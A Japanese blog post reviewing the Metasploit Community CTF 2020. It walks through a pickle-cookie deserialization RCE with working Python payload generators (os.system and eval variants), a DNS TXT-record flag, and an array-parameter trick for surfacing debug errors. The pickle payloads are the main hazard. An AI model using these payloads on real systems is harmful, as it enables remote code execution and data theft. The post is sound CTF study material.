セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

Metasploit community CTF 2020 復習

//

まえがき

他の人のwriteupを参考にしたMetasploit community CTF 2020の個人的な復習回なので、特に興味ない方はブラウザバックでお願いします〜
参考一覧は最後に貼ってあります。

pickle RCE (7 of Spades)

f:id:thinline196:20201208213122p:plain

パスに/modules?filter=ref_name+%3D~+"^admin"が含まれていて、表示するmetasploitのモジュールをフィルターすることができるページ。
実はcookieにそのフィルター情報らしきものが入っている。
f:id:thinline196:20201208213229p:plain

こちらを拝見すると、 Django, Bottle, Pyramidなどでセッション管理に使われるpickleが該当し、pythonでオブジェクトをシリアライズ, デシリアライズするライブラリとのこと。本来であれば、シリアライズする際に使うキーが漏れることで攻撃者に自由に書き換えが可能になるらしいが、今回は直書きできそうである。

このpickleはサーバ側の処理の際にRCEが可能ということで、参考にしたwriteupではapp.pyを覗いていた。

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('cat app.py > static/app.txt')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
$ python3 exp_pickle.py 
b'gASVNgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBtjYXQgYXBwLnB5ID4gc3RhdGljL2FwcC50eHSUhZRSlC4='

これをcookieに仕込んでページをリロード。Something's wrong!とサーバエラーが起きるので(この時点で実行された)、一度cookieを消してからstatic/app.txtに移動。ソースを覗けます。
f:id:thinline196:20201208220102p:plain


# ソースの中
with (app_path / 'flag.png').open('rb') as file_h:
    FLAG = file_h.read()

FLAGという変数に画像データが残っているようなので、OSコマンドではなくpythonコードを実行して、データを取り出します。次のように書くことで、pythonコードが実行可能なようです。

class RCE:
    def __reduce__(self):
        cmd = ("open('static/flag.png', 'wb').write(FLAG)")
        return eval, (cmd,)

実行して作成した値をcookienに仕込んで再度RCEします。書き出せたようです。
f:id:thinline196:20201208221237p:plain (static配下を指定しないと上手く表示or書き出しできなようですが、このアプリケーションがflask使っているのはどこで調べてばいいのやら?)

DNS (9 of Hearts)

当然DNSにもフラグが隠されていたようで。(今回UDPスキャンをすっ飛ばしてしまい、色々失念)
ホストネームなどを調べる。

kali@kali:~$ dig -x 172.15.16.69 @172.15.16.69                                                                                                                                                                                                                                                                                                                                                        ; <<>> DiG 9.16.6-Debian <<>> -x 172.15.16.69 @172.15.16.69                                                                                                                                        ;; global options: +cmd                                                                                                                                                                            ;; Got answer:                                                                                                                                                                                     ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29753                                                                                                                                          ;; flags: qr aa rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0                                                                                                                                                                                                                                                                                                                            ;; QUESTION SECTION:                                                                                                                                                                               ;69.16.15.172.in-addr.arpa.     IN      PTR                                                                                                                                                                                                                                                                                                                                                           ;; ANSWER SECTION:                                                                                                                                                                                 69.16.15.172.in-addr.arpa. 0    IN      PTR     9ofhearts.ctf.                                                                                                                                                                                                                                                                                                                                        ;; Query time: 0 msec                                                                                                                                                                              ;; SERVER: 172.15.16.69#53(172.15.16.69)                                                                                                                                                           ;; WHEN: Tue Dec 08 15:38:41 UTC 2020                                                                                                                                                              ;; MSG SIZE  rcvd: 70    


ホストネームに登録されてるtxtレコードを見ると、フラグがあるので、コピーして復元する。先頭のiVBORPNGマジックナンバーbase64すると現れる値らしいので、base64で復元して完了。 f:id:thinline196:20201209004325p:plain

不要な"を置換して、base64 -d card.txt > card.pngでokです。


command injection (2 of Hearts)

f:id:thinline196:20201209000516p:plain Writeupはこちら。

エラーを起こしてデバッグ情報を見る時にやった手法として、パラメータを配列型式にして送信する方法があった。

× search=gamename
○search[]=gamename

f:id:thinline196:20201209001323p:plain

参考